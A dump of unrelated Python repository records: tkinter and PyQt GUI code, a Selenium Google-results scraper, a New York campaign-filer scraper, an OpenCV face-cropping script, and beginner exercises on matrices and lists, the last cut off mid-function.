else:\n\n return False\n \n \n","repo_name":"RTaylorAshka/Flask-Feedback","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28615952588","text":"from tkinter import *\nimport tkinter.ttk as tkrttk\n\nscreen = Tk()\nscreen.geometry(\"450x200\")\n\ntreetime = tkrttk.Treeview(screen)\n\ntreetime[\"columns\"] = (\"Column 2\", \"Column 3\", \"Column 4\", \"Column 5\")\n\ntreetime.column('#0', width=250, minwidth=25, stretch=NO)\ntreetime.column('Column 2', width=50, minwidth=25, stretch=NO)\ntreetime.column('Column 3', width=50, minwidth=25, stretch=NO)\ntreetime.column('Column 4', width=50, minwidth=25, stretch=NO)\ntreetime.column('Column 5', width=50, minwidth=25, stretch=NO)\n\ntreetime.heading(\"#0\", text=\"Column 1\", anchor=W)\ntreetime.heading(\"Column 2\", text=\"Column 2\", anchor=W)\ntreetime.heading(\"Column 3\", text=\"Column 3\", anchor=W)\ntreetime.heading(\"Column 4\", text=\"Column 4\", anchor=W)\ntreetime.heading(\"Column 5\", text=\"Column 5\", anchor=W)\n\n#1st LEVEL\nRow1 = treetime.insert(\"\", 1, text=\"First Row\", values=(\"B1\", \"C1\",\"D1\",\"E1\"))\nRow2 = treetime.insert(\"\", 2, text=\"Second Row\", values=(\"B1\", \"C1\", \"D1\",\"E1\"))\n#2nd LEVEL\nSBL1A = treetime.insert(Row1, \"end\", text=\"SubLevel Row 1\", values=(\"B1.1\", \"C1.1\", \"D1.1\", \"E1.1\"))\nSBL1B = treetime.insert(Row1, \"end\", text=\"SubLevel Row 2\", values=(\"B1.2\", \"C1.2\", \"D1.2\", \"E1.2\"))\n\nSBL2A = treetime.insert(Row2, \"end\", text=\"SubLevel Row 2\", values=(\"B1.1\", \"C1.1\", \"D1.1\", \"E1.1\"))\nSBL2B = treetime.insert(Row2, \"end\", text=\"SubLevel Row 2\", values=(\"B1.2\", \"C1.2\", \"D1.2\", \"E1.2\"))\n\n\n\n#======ADD PICTURES==========================\nlogo = PhotoImage(file='BSlogo512.gif').subsample(20, 20)\nSBL1C = treetime.insert(Row1, \"end\", 'pic', text=\"SubLevel Row 3\", image=logo, values=(\"B1.3\", \"C1.3\", \"D1.3\", \"E1.3\"))\n\n\ntreetime.pack(side=TOP, fill=X)\n\n\nscreen.mainloop()\n\n\n","repo_name":"JT31WEB/AppsInPython","sub_path":"Treeview/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27251713643","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service \nimport time #for sleep\nfrom selenium.webdriver.common.keys import Keys #allows us to use enter and esc keys in search bar etc\nfrom selenium.webdriver.common.by import By #need to search\nfrom selenium.webdriver.support.wait import WebDriverWait #need to wait before pages are loaded to search\nfrom selenium.webdriver.support import expected_conditions as EC #need to wait before pages are loaded to search\nfrom tkinter import * #need tkinter to get user input and store into a variable to pass thru the google search bar\nfrom selenium.common.exceptions import StaleElementReferenceException #FOR THE STALEELEMENTREFERENCEEXCEPTION\n\n#what code is doing: the search query asks for user input and then sends that into google, then in the search and print, we get the total list of article titles, and then we TRY to loop through them, and we make sure we are not revisiting the same\n#url by adding it into a list and then checking if our url we are on is in that list. BUT, getting the url returns something like \n#and not the actual http url\n\n\n#WHAT I CAN DO IS, I CAN JUST OPEN A NEW TAB AND THEN IN THAT TAB I CAN PRINT WHAT I NEED AND THEN CLOSE IT, AND THEN NAVIGATE BACK TO THE FIRST TAB AND LOOP THROUGH THAT WAY \n\n\n\n\n\n\n\n\n\n#get user input for what to google search -> get article titles, article urls, article info and store them in a csv file -> to make sure we not revisiting the same site we can store the url into a set and only continue if its not in there\n\n\n#uses tkinter to get user input during runtime to search, gets input and stores it into search box variable, and then we search for said variable.\n#this in turn would cause us to loop thru each of the articles and then scrape the data from them \n\n#keep a set to keep track of sites we visited so we don't revisit the same site\ndriver = webdriver.Chrome() # Open a new Chrome window\n\n\ndef searchQuery(): \n query = entry.get() # Get the user's query from the text box\n # driver = webdriver.Chrome() # Open a new Chrome window\n driver.get('https://www.google.com/') # Navigate to the Google home page\n search_box = driver.find_element(By.CLASS_NAME, 'gLFyf') #get the google search bar\n search_box.send_keys(query) # Type the user's query into the search box\n search_box.submit() # Submit the search\n articlesTitle = driver.find_elements(By.CLASS_NAME, 'LC20lb.MBeuO.DKV0Md') #need to have . instead of space with css\n\n return articlesTitle\n\n\n#time.sleep(5) # add a delayso page doesnt instantly shut off \n\n#articlesTitle = driver.find_elements(By.CLASS_NAME, \"LC20lb MBeuO DKV0Md\") #LC20lb MBeuO DKV0Md is the class name of the articles that are returned in google chrome\n#articlesTitle = WebDriverWait(driver, 5).until(\n #EC.presence_of_all_elements_located((By.CLASS_NAME, \"LC20lb MBeuO DKV0Md\"))) #wait 10 seconds until all articles with the specified class name are present \n\ndef scrapeSite():\n# # Scrape data from the current page\n# # This function can be modified to extract the data that you need\n print(\"article url:\", driver.current_url)\n print(\"ARTICLE TITLE:\", driver.title) #gets the article title while we are inside the article, don't need to get it while we are outside anymore\n #print(driver.page_source)\n\n# def openSiteNewTab():\n# action = ActionChains(driver)\n# action.context_click(article).send_keys(Keys.ARROW_DOWN).send_keys(Keys.ARROW_DOWN).send_keys(Keys.RETURN).perform()\n\n\n#get all the articles in a list and loop thru it using for i in range(len(listofarticles))\n\ndef search_and_print_title(): #PRINTING THE TITLES WORK BUT WHEN I TRY AND LOOP THRU THE SITES IT GIVES ME PROBLEMS\n visited_urls = set()\n articlesTitle = searchQuery()\n wait = WebDriverWait(driver, 10) # wait up to 10 seconds for the articles to be present NEW\n articlesTitle = wait.until(EC.presence_of_all_elements_located((By.CLASS_NAME, 'LC20lb.MBeuO.DKV0Md'))) #NEW\n num_articles = len(articlesTitle) #can do here or in the loop\n print(\"NUMBER OF ARTICLES ON PAGE:\", num_articles)\n\n print(\"error 1 stopped before loop\")\n for i in range(len(articlesTitle)): #ITERATE THRU THE LENGTH OF ARTICLES\n try: \n article = articlesTitle[i] #GET ONE ARTICLE i\n time.sleep(10) \n article.click() #CLICK ON THE ARTICLE AND GET THE URL, IF THE URL IS IN OUR VISITED URLS THEN CONTINUE i++, IF IT IS NOT THEN GET THE DATA FROM THE ELSE STATEMENT\n time.sleep(10) \n url = driver.current_url\n print(\"error 2\")\n if url in visited_urls:\n print(\"error 3 driver already in visited url\")\n continue\n else: #I WANT TO OPEN THE PAGE IN ANOTHER PAGE \n url = driver.current_url\n scrapeSite()\n #wait.until(EC.url_changes(driver.current_url)) # wait for the page to load NEW\n print(\"error 7\")\n \n driver.back()\n print(\"page did not fully load yet\")\n print(visited_urls)\n print(\"error 8\") #this doesn't load until the web page is done loading\n time.sleep(3) #sleep to wait for the articles to load again\n except StaleElementReferenceException:\n # The element is no longer attached to the page, retry the action\n continue\n \n\n\n\n\nroot = Tk() # Create the main window\nroot.title('Google Search')\n\nlabel = Label(root, text='Enter your search query:')\nlabel.pack()\n\nentry = Entry(root, width=50)\nentry.pack()\n\nbutton = Button(root, text='Search', command=search_and_print_title) #needs to be search and print to print the article titles\nbutton.pack()\n\nroot.mainloop() # Start the main loop BE CAREFUL PUTTING SLEEPS OUTSIDE OF A DEF BECAUSE THE LOOP WILL NOT WORK THEN\n\n","repo_name":"mnothman/webscraper2.0","sub_path":"main3.py","file_name":"main3.py","file_ext":"py","file_size_in_byte":6031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16891942672","text":"import requests\nimport json\nfrom datetime import datetime\nfrom nys.medium import *\n\n\ndef get(url, payload=None):\n try:\n if payload is not None:\n req = requests.post(url, data=payload)\n else:\n req = requests.post(url)\n print(req.text)\n response = {}\n for item in json.loads(req.text):\n response[item['Text']] = int(item['Value'])\n response = dict(sorted(response.items(), key=lambda obj: obj[1]))\n return response\n except requests.exceptions.RequestException as e:\n raise SystemExit(e)\n except ValueError as e:\n print(e)\n\n\n\ndef get_counties():\n url = \"https://publicreporting.elections.ny.gov/ActiveDeactiveFiler/GetCounty\"\n return get(url)\n\n\ndef get_offices(govt_level: GovtLevel):\n url = \"https://publicreporting.elections.ny.gov/ActiveDeactiveFiler/GetOffice\"\n payload = {\n \"lstUCOfficeType\": str(govt_level.value),\n \"lstUCCounty\": \"\",\n \"lstUCMuncipality\": \"\"\n }\n print(get(url, payload))\n return Enum('Office', get(url, payload))\n\n\ndef get_committees():\n url = \"https://publicreporting.elections.ny.gov/ActiveDeactiveFiler/GetCommitteeType\"\n return Enum('Committee', get(url))\n\n\ndef get_municipality(county_id):\n url = \"https://publicreporting.elections.ny.gov/ActiveDeactiveFiler/GetMunicipality\"\n payload = {\n \"lstUCCounty\": str(county_id)\n }\n return get(url, payload)\n\n\ndef get_filers(search: Search):\n url = \"https://publicreporting.elections.ny.gov/ActiveDeactiveFiler/GetSearchListOfFilersData\"\n headers = {\n \"Accept\": \"application/json; charset=utf-8\",\n \"Content-Type\": \"application/json; charset=utf-8\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\",\n }\n\n payload = {\n \"lstOfficeType\": str(search.govt_level.value),\n \"lstCounty\": \"-+Select+-\",\n \"lstMunicipality\": \"-+Select+-\",\n \"lstStatus\": search.status.name.capitalize(),\n \"lstFilerType\": \"\", # needs to be removed and handled for ALL\n \"lstOffice\": \"-+Select+-\",\n \"lstDistrict\": \"-+Select+-\",\n \"lstDateType\": search.registered.name.capitalize().replace(\"_\", \"+\"),\n \"ddlCommitteeType\": \"-+Select+-\",\n \"txtDateFrom\": \"\",\n \"txtDateTo\": \"\"\n }\n\n if search.filer != Filer.ALL:\n payload['lstFilerType'] = search.filer.name.capitalize()\n else:\n search.update('filer', Filer.CANDIDATE)\n f_1 = get_filers(search)\n search.update('filer', Filer.COMMITTEE)\n f_2 = get_filers(search)\n for item in f_2:\n f_1.append(item)\n return f_1\n\n if search.govt_level == GovtLevel.COUNTY:\n if search.county_id is not None:\n # this needs to pass a numerical value. get_counties returns an enum which has the values.\n payload['lstCounty'] = str(search.county_id)\n if search.municipality_id is not None:\n # this needs to pass a numerical value. get_municipalities returns a dict which has the values.\n payload['lstMunicipality'] = str(search.municipality_id)\n elif search.municipality.upper() == \"ALL\":\n payload['lstMunicipality'] = str(search.municipality).capitalize()\n # this shouldn't occur as the default value is ALL.\n else:\n print(search.municipality)\n raise ValueError(\"Select a municipality.\")\n elif search.govt_level == GovtLevel.STATE:\n pass\n if search.registered == Registered.DATE_RANGE:\n if search.date_range_data is not None:\n # temporary, we should later prompt the user that they need to fix it.\n date = search.date_range_data\n if date['dateFrom'].strftime('%m/%d/%Y') > date['dateTo'].strftime('%m/%d/%Y'):\n payload['txtDateTo'] = date['dateFrom'].strftime('%m/%d/%Y')\n payload['txtDateFrom'] = date['dateTo'].strftime('%m/%d/%Y')\n else:\n payload['txtDateFrom'] = date['dateFrom'].strftime('%m/%d/%Y')\n payload['txtDateTo'] = date['dateTo'].strftime('%m/%d/%Y')\n else:\n # raise error saying that one of them is missing.\n pass\n\n print(payload)\n payload = \"&\".join([f\"{key}={value}\" for key, value in payload.items()]).replace(\" \", \"+\")\n with requests.Session() as session:\n session.headers = headers\n rew = session.post(url, headers=headers, params=payload)\n return json.loads(rew.text)['aaData']\n\n\n\n\nd = datetime(year=2010, month=8, day=1)\nd_t = datetime(year=2020, month=8, day=1)\n#print(get_filers(GovtLevel.STATE, Status.ACTIVE, d, d_t, Filer.CANDIDATE))\n","repo_name":"Horrgs/politics","sub_path":"nys/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30717716776","text":"# Найти максимальный элемент среди минимальных элементов столбцов матрицы.\n\nimport random\nMIN_ITEM = 0\nMAX_ITEM = 1000\nLINE = 10\nCOLUMN = 10\nmatrix = [[random.randint(MIN_ITEM, MAX_ITEM) for j in range(COLUMN)] for i in range(LINE)]\nmin_column = matrix[0]\n\nprint(f'Матрица случайных элементов\\n{\"*\"*50}')\nfor line in matrix:\n for j, el in enumerate(line):\n min_column[j] = el if el < min_column[j] else min_column[j]\n print(f'{el:>5}', end='')\n print()\n\nprint(f'{\"*\"*50}\\n Минимальные значения столбцов:')\nmax_el = min_column[0]\nfor el in min_column:\n max_el = el if el > max_el else max_el\n print(f'{el:>5}', end='')\nprint()\nprint(f'{\"*\"*50}')\nprint(f'Максимальный элемент среди минимальных элементов столбцов матрицы: {max_el}')\n\n","repo_name":"RSV48/algorithms","sub_path":"tassk_03_09.py","file_name":"tassk_03_09.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1972672745","text":"import re\nimport os\nimport sys\nimport shutil\nimport zipfile\nimport subprocess\nfrom PyQt4 import QtGui, QtCore\nfrom moodloader_ui import MoodLoader, PropertiesDialog\n\nclass MainWindow(MoodLoader):\n \"\"\"\n Subclass the GUI for the main window. We implement '__init__()' here, and\n also set up connections for the widgets.\n \"\"\"\n\n def __init__(self):\n super(MoodLoader, self).__init__()\n self.initUI()\n\n ### Create some system variables ###\n self.config_dir = self.get_config_path()\n self.open_dialog_dir = os.path.expanduser(\"~\")\n self.wz_binary = self.get_binary_path(False)\n\n ### Set up connections ###\n self.install_map_button.clicked.connect(lambda: self.install_addon(\"/maps/\"))\n self.install_cam_mod_button.clicked.connect(lambda: self.install_addon(\"/mods/campaign/\"))\n self.install_global_mod_button.clicked.connect(lambda: self.install_addon(\"/mods/global/\"))\n self.install_multiplayer_mod_button.clicked.connect(lambda: self.install_addon(\"/mods/multiplay/\"))\n\n ### Set up the QListView's\n self.populate_listviews()\n for listview in [self.maps_listview, self.cam_mods_listview, self.global_mods_listview, self.multiplayer_mods_listview]:\n listview.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)\n\n ### Connect each QListView to send its addon type to 'self.listview()'\n\n # Some helper lambda's\n check_if_maps_item = lambda point: self.maps_listview.indexAt(point).isValid()\n check_if_global_item = lambda point: self.global_mods_listview.indexAt(point).isValid()\n check_if_cam_item = lambda point: self.cam_mods_listview.indexAt(point).isValid()\n check_if_multiplay_item = lambda point: self.multiplayer_mods_listview.indexAt(point).isValid()\n\n self.maps_listview.customContextMenuRequested.connect(lambda point:\n self.listview_menu(\"/maps/\")\n if check_if_maps_item(point) else None)\n self.cam_mods_listview.customContextMenuRequested.connect(lambda point:\n self.listview_menu(\"/mods/campaign/\")\n if check_if_cam_item(point) else None)\n self.global_mods_listview.customContextMenuRequested.connect(lambda point:\n self.listview_menu(\"/mods/global/\")\n if check_if_global_item(point) else None)\n self.multiplayer_mods_listview.customContextMenuRequested.connect(lambda point:\n self.listview_menu(\"/mods/multiplay/\")\n if check_if_multiplay_item(point) else None)\n\n\n def get_config_path(self):\n \"\"\"\n Get the path of the config folder of the latest version of WZ on the\n users computer.\n \"\"\"\n matching_dir_versions = [float(re.findall(r'\\d+\\.\\d+', directory)[0])\n for directory in os.listdir(os.path.expanduser(\"~\"))\n if re.match(\".warzone2100-\\d+\\.\\d+\", directory)]\n\n if len(matching_dir_versions) >= 1:\n return(os.path.expanduser(\"~\") + \"/.warzone2100-\" + str(max(matching_dir_versions)))\n else:\n self.statusbar.showMessage(\"No config folder found.\")\n return(\"\")\n\n\n def get_binary_path(self, assign):\n \"\"\"\n Get the path of the WZ binary. The 'assign' boolean specifies whether we\n assign 'binary_path' to an existing 'self.wz_binary' variable or just return it.\n The 'assign' field should always be True when called after the program starts\n since the 'self.wz_binary' field is already existent.\n If a config file exists, we read from that, else we write the 'binary_path' to\n a new one if the user chooses a binary.\n \"\"\"\n config_file = os.path.expanduser(\"~\") + \"/.moodloader\"\n\n if os.path.isfile(config_file) and os.path.getsize(config_file) > 0:\n config_file = open(config_file)\n binary_path = config_file.readline()\n config_file.close()\n else:\n binary_path = shutil.which(\"warzone2100\")\n\n # If 'shutil.which()' can't find the binary, then we prompt the user for it\n if binary_path == None:\n confirmation_dialog = QtGui.QMessageBox.question(self, \"Missing Path\",\n \"Moodloader cannot find the path of Warzone, would you like to set it manually? If you don't you will not be able to run addons from Moodloader.\",\n QtGui.QMessageBox.No,\n QtGui.QMessageBox.Yes)\n if confirmation_dialog == QtGui.QMessageBox.Yes:\n binary_path = QtGui.QFileDialog.getOpenFileName(self, \"Select Binary\",\n os.path.expanduser(\"~\"))\n # Write the users settings to 'config_file'\n config_file = open(config_file, \"w\")\n config_file.write(binary_path)\n config_file.close()\n\n if assign:\n self.wz_binary = binary_path\n elif not assign:\n return(binary_path)\n\n\n def install_addon(self, addon_type):\n \"\"\"\n Install an addon to the appropriate folder.\n Note that even though the name of the argument is 'addon_type', it's actually\n the folder name the map is to be installed into (i.e. '/maps/' for a map).\n \"\"\"\n addon_path = QtGui.QFileDialog.getOpenFileName(self, \"Select Addon\", self.open_dialog_dir, \"WZ Addons (*.wz);; All files (*.*)\")\n addon_install_path = self.config_dir + addon_type\n addon_name = os.path.basename(addon_path)\n\n # Check that all prerequisites are covered before installing\n if not addon_path:\n return\n elif not os.path.isdir(addon_install_path):\n # Show a warning dialog if Moodloader is underpriveleged\n try:\n os.makedirs(addon_install_path)\n except PermissionError as error:\n QtGui.QMessageBox.warning(self, \"Error\", str(error))\n return\n elif os.path.isfile(addon_install_path + addon_name):\n self.statusbar.showMessage(\"Addon already installed.\")\n return\n\n shutil.copy(addon_path, addon_install_path)\n self.populate_listviews()\n self.statusbar.showMessage(\"Addon installed.\")\n self.open_dialog_dir = os.path.dirname(addon_path) # Note that we reset 'self.open_dialog_dir' to the last used folder\n\n\n def delete_addons(self, addon_type):\n \"\"\"\n As abundantly clear from the name, this method deletes all the currently\n selected addons.\n \"\"\"\n # 'get_file_name' gets the actual map name from the tooltip passed to it,\n # it's meant to work on the tooltips of map-mods, which are HTML formatted\n get_file_name = lambda addon: re.search(\"[0-9](\\S+?).wz\", addon).group()\n addon_folder = self.config_dir + addon_type\n selected_addons = []\n\n # Populate 'selected_addons' with the users selection\n if addon_type == \"/maps/\":\n selected_addons = [get_file_name(addon.data(role=3)) for addon in self.maps_listview.selectedIndexes()]\n elif addon_type == \"/mods/campaign/\":\n selected_addons = [addon.data(role=3) for addon in self.cam_mods_listview.selectedIndexes()]\n elif addon_type == \"/mods/global/\":\n selected_addons = [addon.data(role=3) for addon in self.global_mods_listview.selectedIndexes()]\n elif addon_type == \"/mods/multiplay/\":\n selected_addons = [addon.data(role=3) for addon in self.multiplayer_mods_listview.selectedIndexes()]\n\n # Make accurate messages to display, and get confirmation from the user before deleting\n if len(selected_addons) == 1:\n dialog_string = \"Are you sure you want to delete this addon?\"\n statusbar_message = \"Addon successfully deleted.\"\n else:\n dialog_string = \"Are you sure you want to delete these addons?\"\n statusbar_message = \"Addons successfully deleted.\"\n confirmation_dialog = QtGui.QMessageBox.question(self, \"Confirm Delete\",\n dialog_string,\n QtGui.QMessageBox.No,\n QtGui.QMessageBox.Yes)\n if confirmation_dialog == QtGui.QMessageBox.Yes:\n for addon in selected_addons: os.remove(addon_folder + addon)\n self.populate_listviews()\n self.statusbar.showMessage(statusbar_message)\n\n\n def run_addons(self, wz_flag):\n \"\"\"\n As the name implies, this runs all selected addons.\n Note that we use 'subprocess.Popen' so as not to block the GUI.\n \"\"\"\n args = [self.wz_binary]\n\n # Retrieve the tooltips (which are the filenames) from the selected items\n if wz_flag == \"--mod_ca=\":\n selected_addons = [mod.data(role=3) for mod in self.cam_mods_listview.selectedIndexes()]\n for mod in selected_addons: args.append(\"--mod_ca={0}\".format(mod))\n elif wz_flag == \"--mod=\":\n selected_addons = [mod.data(role=3) for mod in self.global_mods_listview.selectedIndexes()]\n for mod in selected_addons: args.append(\"--mod={0}\".format(mod))\n elif wz_flag == \"--mod_mp=\":\n selected_addons = [mod.data(role=3) for mod in self.multiplayer_mods_listview.selectedIndexes()]\n for mod in selected_addons: args.append(\"--mod_mp={0}\".format(mod))\n\n subprocess.Popen(args)\n\n\n def condense_addon(self, addon_name):\n \"\"\"\n A little helper function to pretty-ify output for the QListView's.\n \"\"\"\n # The hash length is always 64 chars, so by this we check if one is in the name\n if len(addon_name) > 64:\n addon_name = re.findall(\".*-\", addon_name)[0]\n return(addon_name[:-1]) # Removes the trailing dash before returning\n else:\n return(addon_name.replace(\".wz\", \"\"))\n\n\n def check_addon(self, addon_path):\n \"\"\"\n Checks the addon for validity. If the addon is a map mod we return 1,\n and if its file layout is mutilated we return 2, else we return 0.\n \"\"\"\n forbidden_files = ['Thumbs.db', 'Desktop.ini', '.DS_Store']\n forbidden_extensions = ['.bak', '.tmp', '.wz', '.zip', '.js', '.png']\n required_extensions = ['.gam', '.bjo', '.map', '.ttp', '.lev']\n\n with zipfile.ZipFile(addon_path) as addon:\n addon_files = addon.namelist()\n addon_file_extensions = [os.path.splitext(path)[1] for path in addon_files]\n\n # Make sure all cases are covered\n if any(\"\\\\\" in file for file in addon_files):\n return(2)\n elif not (all(ext in addon_file_extensions for ext in required_extensions) and not \\\n any(ext in addon_file_extensions for ext in forbidden_extensions) and not \\\n any(illegal in addon_files for illegal in forbidden_files)):\n return(1)\n else:\n return(0)\n\n\n def populate_listviews(self):\n \"\"\"\n Gets a list of all installed addons and populates their respective\n QListView's with them.\n \"\"\"\n addon_size = QtCore.QSize(50, 15) # We need this to elide the text\n natural_sort = lambda addon: (float(re.split(\"([0-9]+)\", addon)[1])) # A key to sort the maps properly\n maps_dir = self.config_dir + \"/maps/\"\n cam_mods_dir = self.config_dir + \"/mods/campaign/\"\n global_mods_dir = self.config_dir + \"/mods/global/\"\n multiplayer_mods_dir = self.config_dir + \"/mods/multiplay/\"\n \n # Clear all existing items\n for model in [self.map_data_model, self.cam_data_model, self.global_data_model, self.multiplayer_data_model]:\n model.clear()\n\n for directory in [maps_dir, cam_mods_dir, global_mods_dir, multiplayer_mods_dir]:\n if os.path.isdir(directory):\n if directory == maps_dir:\n data_model = self.map_data_model\n elif directory == cam_mods_dir:\n data_model = self.cam_data_model\n elif directory == global_mods_dir:\n data_model = self.global_data_model\n else:\n data_model = self.multiplayer_data_model\n\n addon_list = [addon for addon in os.listdir(directory)\n if os.path.isfile(directory + addon) and addon.__contains__(\".wz\")]\n if directory == maps_dir: addon_list.sort(key=natural_sort) # We only sort maps\n\n # Create the items to append to each QListView\n for addon in addon_list:\n addon_item = QtGui.QStandardItem(self.condense_addon(addon))\n addon_item.setSizeHint(addon_size)\n addon_item.setToolTip(addon)\n addon_item.setEditable(False)\n # Mark all map-mods\n if directory == maps_dir:\n if self.check_addon(directory + addon) == 1:\n addon_item.setForeground(QtCore.Qt.red)\n addon_item.setToolTip(\"

{0}
This is a map-mod.

\".format(addon))\n elif self.check_addon(directory + addon) == 2:\n addon_item.setForeground(QtCore.Qt.darkMagenta)\n addon_item.setToolTip(\"

{0}
This map has corrupted paths.

\".format(addon))\n\n data_model.appendRow(addon_item)\n\n\n def listview_menu(self, addon_type):\n \"\"\"\n Called when a QListView item is right-clicked on, shows the user\n available operations to perform on the addon.\n \"\"\"\n # Set up some variables for later. 'wz_flag' is a 'run_addons() argument,\n # and 'addon_path' is the absolute path of the currently active addon.\n if addon_type == \"/maps/\":\n addon_path = self.config_dir + addon_type + re.search(\"[0-9](\\S+?).wz\",\n self.maps_listview.currentIndex().data(role=3)).group()\n elif addon_type == \"/mods/campaign/\":\n wz_flag = \"--mod_ca=\"\n addon_path = self.config_dir + addon_type + self.cam_mods_listview.currentIndex().data(role=3)\n elif addon_type == \"/mods/global/\":\n wz_flag = \"--mod=\"\n addon_path = self.config_dir + addon_type + self.global_mods_listview.currentIndex().data(role=3)\n elif addon_type == \"/mods/multiplay/\":\n wz_flag = \"--mod_mp=\"\n addon_path = self.config_dir + addon_type + self.multiplayer_mods_listview.currentIndex().data(role=3)\n\n\n # Create the menu\n menu = QtGui.QMenu(\"Options\", self)\n\n # Create actions\n delete_addons_action = QtGui.QAction(\"Delete addon(s)\", self)\n delete_addons_action.triggered.connect(lambda: self.delete_addons(addon_type))\n menu.addAction(delete_addons_action)\n\n # We only add the run options for mods, not maps\n if addon_type != \"/maps/\":\n # We only go into the first branch if 'self.wz_binary' is empty\n if self.wz_binary == None:\n get_binary_path_action = QtGui.QAction(\"Choose Binary\", self)\n get_binary_path_action.triggered.connect(lambda: self.get_binary_path(True))\n menu.addAction(get_binary_path_action)\n else:\n run_addons_action = QtGui.QAction(\"Run selected addons\", self)\n run_addons_action.triggered.connect(lambda: self.run_addons(wz_flag))\n menu.addAction(run_addons_action)\n\n # Create action for the properties dialog, this only works with maps ATM\n if addon_type == \"/maps/\" and self.check_addon(addon_path) != 2:\n properties_dialog_action = QtGui.QAction(\"Properties\", self)\n properties_dialog_action.triggered.connect(lambda: PropertiesDialog(addon_path))\n menu.addAction(properties_dialog_action)\n\n # Display menu at the cursor position\n menu.exec_(QtGui.QCursor.pos())\n\n\ndef main():\n app = QtGui.QApplication(sys.argv)\n app.setWindowIcon(QtGui.QIcon(\"icon.png\"))\n window = MainWindow()\n\n window.show()\n sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"JamesWrigley/moodloader","sub_path":"moodloader.py","file_name":"moodloader.py","file_ext":"py","file_size_in_byte":17133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"14221646981","text":"from glob import glob\r\nimport PIL \r\nimport scipy.misc\r\nimport cv2\r\neye_cascade = cv2.CascadeClassifier('C:\\\\Users\\\\pratik\\\\Desktop\\\\Face detection\\\\haarcascade_eye.xml')\r\nface_cascade = cv2.CascadeClassifier('C:\\\\Users\\\\pratik\\\\Desktop\\\\Face detection\\\\haarcascade_frontalface_default.xml')\r\nimg_mask = 'C:/Users/pratik/Desktop/Face detection/Img/*.jpg'\r\nimg_names = glob(img_mask)\r\ncount=0\r\nfor fn in img_names:\r\n print('processing %s...' % fn,)\r\n img = cv2.imread(fn, 0)\r\n \r\n faces= face_cascade.detectMultiScale(img,1.3,5)\r\n for (x,y,w,h) in faces:\r\n cv2.rectangle(img,(x,y),(x+w,y+h),(0,0,255),2)\r\n face=img[x,y]\r\n roi_gray = img[y:y+h,x:x+w]\r\n roi_color = img[y:y+h,x:x+w]\r\n cv2.imwrite(\"C:/Users/pratik/Desktop/Face detection/Image/face%d.jpg\" % count,roi_gray)\r\n count += 1\r\n\r\ncv2.destroyAllWindows()\r\n","repo_name":"pratikgoyal26/Face","sub_path":"fim.py","file_name":"fim.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19029454394","text":"\"\"\"\nName: Scott Schumacher\nEmail: scottmachershoe@yahoo.com\nAssignment: Homework 1 - Lists and Dictionaries\nDue: 19 Sep @ 1:00 p.m.\n\"\"\"\n\n\n\"\"\"\"A: What would Python print?\"\"\"\n\na = [1, 5, 4, 2, 3] \nprint(a[0], a[-1])\n# Prints: 13\n\na[4] = a[2] + a[-2]\nprint(a)\n# Prints: [1,5,4,2,6]\n\nprint(len(a))\n# Prints: 5\n\nprint(4 in a)\n# Prints: True\n\na[1] = [a[1], a[0]]\nprint(a)\n#replaces a[1] with a list containing a[1] and a[0]\n# Prints: [1, [5, 1], 4, 2, 6]\n\n\"\"\"****************************************************************************************\"\"\"\n\n\n\"\"\"B. Write a function that removes all instances of an element from a list.\"\"\"\n\ndef remove_all(rmv, lst):\n while rmv in lst:\n lst.remove(rmv)\n \n\nb = [1, 4, 2, 4, 3, 4, 5]\nremove_all(4, b)\nprint (b)\n#prints [1, 2, 3, 5]\n\n\"\"\"****************************************************************************************\"\"\"\n\n\"\"\"C. Write a function that takes in two values, x and y, and a list, and adds as \nmany y's to the end of the list as there are x's. Do not use the built-in function count.\"\"\"\n\ndef for_x_append_y(x, y, lst):\n for el in lst:\n if el == x:\n lst.append(y)\n\nc = [3, 5, 3, 2, 3]\nfor_x_append_y(3, 7, c)\nprint(c)\n#prints [3, 5, 3, 2, 3, 7, 7, 7]\n\n\"\"\"****************************************************************************************\"\"\"\n\n\"\"\"D. What would Python print?\"\"\"\n\na = [3, 1, 4, 2, 5, 3]\nprint(a[:4])\n# Prints: [3, 1, 4, 2]\n\nprint(a)\n# Prints: [3, 1, 4, 2, 5, 3]\n\nprint(a[1::2])\n# Prints: [1, 2, 3]\n\nprint(a[:])\n# Prints: [3, 1, 4, 2, 5, 3]\n\nprint(a[4:2])\n# Prints: []\n\nprint(a[1:-2])\n# Prints: [1, 4, 2]\n\nprint(a[::-1])\n# Prints: [3, 5, 2, 4, 1, 3]\n\n\"\"\"****************************************************************************************\"\"\"\n\n\"\"\"E. Let's reverse Python lists in place, meaning mutate the passed in list itself, instead of \nreturning a new list. We didn't discuss this in class directly, so feel free to use google. \nWhy is the \"in place\" solution preferred?\"\"\"\n\nimport math\n\ndef reverse(lst):\n for el in range (0, math.ceil(len(lst)/2)):\n lst[el], lst[len(lst)-1-el] = lst[len(lst)-1-el], lst[el]\n\ne = [1, 2, 3, 4, 5, 6, 7]\nreverse(e)\nprint(e)\n#prints [7, 6, 5, 4, 3, 2, 1]\n\n\"\"\"****************************************************************************************\"\"\"\n\"\"\" F. Write a function that rotates the elements of a list to the right by k. Elements should not\n ”fall off”; they should wrap around the beginning of the list. rotate should return a new list. \n To make a list of n 0's,you can do this: [0] * n \"\"\"\n\ndef 